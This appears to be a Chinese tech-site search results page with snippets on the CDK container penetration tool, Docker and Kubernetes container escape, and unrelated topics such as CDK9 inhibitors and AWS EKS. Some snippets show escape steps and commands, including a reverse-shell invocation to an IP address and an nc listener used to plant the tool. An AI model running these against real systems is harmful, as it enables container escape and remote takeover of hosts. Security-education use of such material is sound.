首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

404星链计划 | CDK:一款针对容器场景多功能渗透工具

项目名称:CDK 项目作者:CDK-Team 项目地址: https://github.com/cdk-team/CDK/ CDK是一款为容器环境定制渗透测试工具,在已攻陷容器内部提供零依赖常用命令及...CDK为安全测试人员提供了golang原生容器环境渗透能力,主要有以下几点: 评估容器内部弱点、搜集敏感信息。 提供多种容器逃逸漏洞利用方式。 提供K8s环境多种持久化、横向移动方式。...提供原生进程、网络命令,便于测试者自定义攻击操作。 功能 CDK包括三个功能模块 Evaluate: 容器内部信息收集,以发现潜在弱点便于后续利用。...✔ link kproxy kubectl代理转发 使用方法 下载可执行文件投递到已攻入容器内部开始测试: https://github.com/cdk-team/CDK/releases/.../cdk run shim-pwn 47.104.151.168 111 docker.sock漏洞逃逸 通过本地docker.sock向控制宿主机docker进程,拉取指定后门镜像并运行,运行过程中镜像宿主机根目录

93630

云安全容器安全扫盲 之 CDK工具介绍与使用

也欢迎各界朋友各种形式合作! CDK是一款为容器环境定制渗透测试工具,在已攻陷容器内部提供零依赖常用命令及PoC/EXP。...GitHub地址: https://github.com/cdk-team/CDK/ CDK 功能 CDK包括三个功能模块 Evaluate: 容器内部信息收集,以发现潜在弱点便于后续利用。...CDK为安全测试人员提供了golang原生容器环境渗透能力,主要以下几点: 评估容器内部弱点、搜集敏感信息。 提供多种容器逃逸漏洞利用方式。 提供K8s环境多种持久化、横向移动方式。...如果你可以在目标容器中执行命令(RCE),但容器中没有wget或curl命令,可以参考下面方法植入: CDK下载到你公网服务器,监听端口: nc -lvp 999 < cdk 在已攻入目标容器中执行.../serviceaccount/token) CDK利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account

2.8K10
您找到你想要的搜索结果了吗?
是的
没有找到

CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

容器具有SYS_ADMINCapability的话,则可以进行容器逃逸。它允许大量特权操作,包括mount文件系统,交换空间,还有对各种设备操作以及系统调试相关调用。...-security-opt apparmor=unconfined --name=test nginx:latest 在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMINCapability...在容器内挂载宿主机cgroupmemory #cgroup进行挂载 mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test #接着我们在挂载目录下再创建一个进程...,主要攻击目标应在进程内,因为攻击过程需要将cgroup下所有的task清除,所以在同样环境进程内进行更加合理安全 mkdir /tmp/test/x 第二步就需要我们设置notify_on_release...该命令启动一个sh进程,sh进程PID写入到/tmp/test/x/cgroup.procs中。这里\$\$表示sh进程PID。

55320

Docker容器逃逸

通过使用namespace,可以将不同进程之间资源进行隔离,使得它们感觉像是在独立环境中运行 用简洁明了的话来说,namespace实现了容器容器,容器与宿主机之间隔离 **而业内广为人知**...User namespace:使得不同namespace下进程可以有不同用户和用户组ID,进程只能对相同namespace下用户进行权限管理。...我们可以在容器内部创建一个新容器,因为Docker Socket被挂载到了当前容器,所有我们可以宿主机目录挂载到新容器内部 即在容器内创建一个挂载了宿主机根目录容器,然后目录切换到根目录即可完成逃逸...host模式 接下来我们使用大名鼎鼎CDK https://github.com/cdk-team/CDK/wiki/CDK-Home-CN 如何CDK上传到容器内部?.../cdk run shim-pwn reverse [ip] [port] vps上面开启nc 反弹宿主机shell Docker 远程 API 未授权访问逃逸 docker2375端口是干啥?

39830

使用dotnet-monitor sidecar模式 dump docker运行dotnet程序.

收集这些诊断工件有两种不同机制:用于按需收集工件HTTP API 。当您已经知道您应用程序遇到问题并且您有兴趣收集更多信息时,您可以调用这些 API 端点。...ETW, eventpipe, lldb, dotnet-trace, dotent-counters 等可以查看 dotnet diagnostics.目标应用程序容器准备首先, 我们得让我们被调试目标程序公开这个诊断端口...未作特别声明的话, 后文给出实验都是基于AWS Fargate 和 Linux 配置....到此, 目标程序容器配置就完成了, 接下来配置dotnet-monitordotnet-monitor容器准备增加 Docker image 作为目标容器sidecar 容器.暴露端口52323 #...dotnet-monitor映射端口.增加容器启动命令参数 --no-auth # 简单粗暴让所有的API都不要鉴权.添加环境变量 DOTNETMONITOR_DiagnosticPort__ConnectionMode

1.2K40

Docker容器逃逸

User namespace:使得不同namespace下进程可以有不同用户和用户组ID,进程只能对相同namespace下用户进行权限管理。...privileged 特权容器权限其实有很多,所以也有很多不同逃逸方式,挂载设备读写宿主机文件是特权容器最常见逃逸方式之一如何判断当前容器是以Privileged 特权模式启动呢?...我们可以在容器内部创建一个新容器,因为Docker Socket被挂载到了当前容器,所有我们可以宿主机目录挂载到新容器内部即在容器内创建一个挂载了宿主机根目录容器,然后目录切换到根目录即可完成逃逸我们在当前容器内部安装...host模式接下来我们使用大名鼎鼎CDKhttps://github.com/cdk-team/CDK/wiki/CDK-Home-CN如何CDK上传到容器内部?.../cdk run shim-pwn reverse [ip] [port]vps上面开启nc反弹宿主机shellDocker 远程 API 未授权访问逃逸docker2375端口是干啥?

42221

CDK9抑制剂与癌症治疗

通过对静息和poly (I:C)刺激肺癌细胞(A549)进行差异定量蛋白质组学研究,获得CDK9相互作用组全貌。在CDK9互作中发现591个蛋白,其中包括~70%新型高信赖蛋白。...54中代谢活性弱腙连接,23中被稳定脂肪族氨基连接取代后,在保持CDK9选择性同时降低了活性。 图13....有几项研究描述了CDK9在转录不同方面的作用。鉴于CDK9在转录中核心作用,很可能不同异构体定位于不同复合物,具有细胞类型特异性功能。目前,有充分证据强烈支持CDK9作为癌症靶点。...这种灵活性可能是CDK9适应不同复合物中不同结合环境关键。因此,在任何特定时间,小分子CDK9抑制剂可能只针对含有CDK9复合物一个子集。...这些研究强烈反对CDK9抑制剂相关某些脱靶效应工程化,特别是那些下调Bcl-xL等其他抗凋亡蛋白水平效应。但是,某些靶外效应,如抑制正常细胞生长是不可取,应该避免。

1.1K10

弹性 Kubernetes 服务:Amazon EKS

Kubernetes是一种开源技术,可以自动部署、扩展和管理容器,即容器化应用程序。 为了实现高可用性,EKS 跨不同 AWS 可用区运行和扩展 Kubernetes 控制平面。...AWS FargateFargate 是 AWS 托管无服务器计算引擎,允许您执行容器应用程序而无需维护服务器。...托管集群更新 Kubernetes 版本升级是即时执行,无需构建新集群或应用程序转移到新集群。...亚马逊网络服务 (AWS) 简介 如果您使用 AWS Fargate,价格取决于从您开始下载容器映像到 Amazon EKS pod 完成所消耗 vCPU 和 RAM 量,时间计算四舍五入到最接近秒数...您可以根据需要购买不同类型 AWS Outposts 机架配置,机架配置是 EC2 实例类型、EBS gp2 Volume 和 S3 on Outposts 组合。

3.4K20

404星链计划 | 攻防演练必备之开源攻击与利用工具盘点

04 CDK 作者:cdkteam 开发语言:Golang github star:3.2k https://github.com/cdk-team/CDK CDK是一款为容器环境定制渗透测试工具,在已攻陷容器内部提供零依赖常用命令及...并且在企业网络目前阻断445端口严重情况下可以无需445端口进行横向移动,效率高且不易被检测。...反序列化利用框架,可动态配置具备不同执行效果Java反序列化利用链payload,以应对不同场景下反序列化利用。...其基于带外应用安全测试( OAST)通过任务形式,将不同漏洞场景检测能力通过插件形式进行集合,通过与目标进行Out-of-bind数据通信方式进行辅助检测。...,并定期答疑内容整理发布,以供参考交流。

39320

Kubernetes云原生安全渗透学习

一般来说内网不会完全基于容器技术进行构建。所以起点一般可以分为权限受限容器和物理主机内网。...Service间通信 当我们起点是一个在k8s集群内部权限受限容器时,和常规内网渗透区别不大,上传端口扫描工具探测即可。...: 运维人员配置不当,system:anonymous用户绑定到cluster-admin用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。...采用CDK攻击 CDK(Container DucK)是一款为容器环境定制渗透测试工具,在已攻陷容器内部提供零依赖常用命令及PoC/EXP。...其中,10250端口是可读写,10255是一个只读端口。 最常见未授权访问一般是10255端口,但这个端口利用价值偏低,只能读取到一些基本信息。

1.5K30

开发运维配置繁杂,是时候给应用架构做减法了

很多开发者基于对 Serverless 优势理解,容易陷入“它是容器替代方案”认知误区。而实际上,Serverless 与容器针对不同用户需求。...直至 2017 年年底 AWS re:Invent 大会上,AWS 宣布针对容器无服务器计算引擎推出 AWS Fargate,云计算技术尤其是 Serverless 架构和应用演进,才算真正迎来了一次新机遇点...Fargate 不仅可以抽象出运行容器服务器,还可以提供服务器编排抽象,作为容器免编排计算。...这也意味着,当 K8s 等容器编排工具使用度越来越高,乃至成为开发中一项“基础设施”时,开发者们可以创建和管理容器事情交给云服务商(Fargate)来处理,就好像今天服务器虚拟化一般,容器也越来越...归纳来看,无论是扩充提供不同服务还是丰富开发者工具,AWS 都是尽可能地帮助开发者在应用 Serverless 架构过程中,降低其遇到不同场景下处理复杂问题难度,从而让为“高效”而生 Serverless

1.2K10

《Docker和服务器无状态化:容器化应用优势,构建高可伸缩性和灵活性》

Docker和服务器无状态化:容器化应用优势 摘要 本文深入探讨Docker和服务器无状态化概念,重点阐述容器化应用优势。...引言 Docker是一种轻量级容器化技术,它可以应用程序及其所有依赖项打包为一个可移植容器。...许多云服务提供商都推出了基于Docker无状态容器服务,如AWS Fargate、Azure Container Instances等。...Docker和服务器无状态化在不同领域应用 Docker和服务器无状态化在不同领域都有广泛应用。在互联网领域,应用往往需要面对大量用户和流量,需要具备高可伸缩性。...通过各个服务容器化,并采用无状态化部署,可以更好地实现服务弹性伸缩和独立运维。

8310

【K8s安全】集群信息收集一篇通

文章前言 Kubernetes是当今最流行容器编排工具之一,为企业应用部署和管理提供了高效、稳定解决方案。然而在运行Kubernetes集群时,管理员需要对集群内各个组件进行监控和维护。...本文将从不同角度介绍Kubernetes集群信息收集相关技术,并提供一些实用工具和方法,帮助管理员更好地理解和使用Kubernetes集群信息收集技术,进一步提升Kubernetes集群安全性和可靠性.../cdk run k8s-secret-dump auto 安全策略 对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置容器,但是受到了K8s Pod Security Policies...端口服务 内部网络 Flannel默认使用10.244.0.0/16网络 Calico默认使用192.168.0.0/16网络 文末小结 总的来说,Kubernetes集群信息收集是保证企业应用部署和运行环境安全性和稳定性关键一环...3、收集网络信息:使用工具(如Weave Scope或Cilium)来监视容器之间网络通信,并检查网络连接和流量是否正常。

40520

突破内网限制,自由访问 NAS:网络穿透方案大合集! | 开源日报 No.199

提供注册域名并将记录自动指向运行隧道服务器。 自动设置和管理域名 HTTPS 证书(顶级域名和)。...提供客户端工具,通过服务器进行 HTTP/TCP 连接隧道,无需在客户端 root 权限。 提供简单 GUI 界面,允许用户 X /射到 Z 客户端上 Y 端口,并代理所有连接到该。...提供高级语言,抽象低级加密概念,便于私有应用程序集成到堆栈中 编译为电路,使零知识证明实际可行 受传统编程语言(如 JavaScript、Scala 和 Rust)影响,在易读性和易用性方面具有很强重点...在 Rust 中编写 Python-3(CPython >= 3.12.0)解释器。 可以在 WebAssembly 上运行在线演示。 支持 JIT 编译器, Python 函数编译成本机代码。...License: Apache-2.0 picture example-voting-app 是一个示例分布式应用程序,由多个 Docker、Compose、Swarm 和 Kubernetes 容器组成

24610

AUTOEARN - SRC自动化辅助框架

├ chrome //chrome浏览器 ├ masscan //异步传输,无状态扫描端口工具 ├ OneForAll //一款功能强大收集工具...进行CDN检测,之后不存在CDN目标再利用shodan api进行端口检测以及服务识别的过程,然后检测到目标按照协议:DOMAIN:端口格式存储到TASK表中,如果目标存在CDN则默认返回80端口存储到...在收集完成后,我们就可以进行端口检测过程了,这里我们默认使用是shodan api,默认线程数目为10,其中masscan+nmap代码已经加入其中,默认阈值是50,只需要进行简单代码上调整就可以完成应用.../lib/config.py中修改这一限制,如果你是通过手工安装,你可以通过访问http://127.0.0.1:5000来查看这一页面,如果你是 Docker安装,你可以通过Docker命令将它映射到宿主机相应端口上...OneForAll - 一款功能强大收集工具 2.

2.1K20

Docker 容器连接

Docker 容器连接 前面我们实现了通过网络端口来访问运行在docker容器服务。 容器中可以运行一些网络应用,要让外部也可以访问这些应用,可以通过-P或-p参数来指定端口映射。...下面我们来实现通过端口连接到一个docker容器。 网络端口映射 我们创建了一个python应用容器。...两种方式区别是: -P:是容器内部端口随机映射到主机端口。 -p:是容器内部端口绑定到指定主机端口。...docker 有一个连接系统允许多个容器连接在一起,共享连接信息。 docker 连接会创建一个父子关系,其中父容器可以看到容器信息。...--dns-search=DOMAIN:设定容器搜索,当设定搜索为.test.com时,在搜索一个名为host主机时,DNS不仅搜索host,还会搜索host.test.com。

85730

说一说 Serverless 到底是什么?

CaaS - 容器即服务 当我们创建容器后,把它扔到 CaaS 上,它就会自动运行、服务和扩展,比如 Azure Container Instances、Google Cloud Run 或 AWS Fargate...FaaS 可以用不同方式来运行你代码,一种方式可能是 FaaS 为每一次代码变化构建一个容器,就类似于使用 CaaS 这种服务。...FaaS 构建成容器发送给 CaaS 另一种方式是 FaaS 在启动过程中动态地函数源码拉到一个预定义环境(容器)中,不同语言会有不同环境,当使用像 Go 这样编译语言时,那么编译必须在启动时进行...CaaS - 容器即服务 可以看到我们大大减少了需要创建 Kubernetes 资源清单数量,CaaS 将为我们创建所有必要资源,比如 autoscaler、Ingress 或 Istio 路由...虽然 Pods 容器不是运行在虚拟机上,而是在云提供商无服务器容器产品中,如 AWS Fargate、Google Cloud Run 或 Azure Container Instances。

1.3K20

带你玩转docker容器逃逸

,然后宿主机根目录挂载到当前目录中(这里如果不存在特权用户,但docker容器配置不当-进行危险挂载,是同样风险,之后可以用相同利用方式)。...简单来说就是:docker容器以--net=host 启动会暴露containerd-shim 监听 Unix 套接字。特定版本Containerd未做权限控制,可以实现提权。...是否能获取containerd-shim 监听 Unix 套接字:cat /proc/net/unix|grep -a "containerd-shim"3、漏洞利用以--net=host 启动容器直接下载...exp并解压https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz在kali中开启监听,并执行exp...成功接受到shellPart04 如何防止docker逃逸1、避免使用特权模式启动容器,或者限制容器所需最小权限;2、避免宿主机上敏感文件或目录挂载到容器内部,或者使用只读模式挂载;3、避免Docker

95610

037.集群网络-Docker网络实现

针对由Docker创建每一个容器,都会创建一个虚拟以太网设备(Veth设备对),其中一端关联到网桥上,另一端使用Linux网络命名空间技术,映射到容器eth0设备,然后从网桥地址段内给eth0...这样做结果就是,在同一台机器内容器之间可以相互通信,不同主机上容器不能相互通信,实际上它们甚至有可能在相同网络地址范围内(不同主机上docker0地址段可能是一样)。...而且API Server要在分配完后,动态端口插入配置合适位置,服务也必须能互相找到对方等。这些都是Docker网络模型在跨主机访问时面临问题。...如上新增规则可以看出,Docker服务在NAT和FILTER两个表内添加两个DOCKER链都是给端口映射用。在本例中我们需要把外面宿主机1180端口射到容器5000端口。...当然在Forward时,也需要在DOCKER链中添加一条规则,如果目标端口和地址是指定容器数据,则允许通过。在Docker按照端口映射方式启动容器时,主要不同就是上述iptables部分。

85510
领券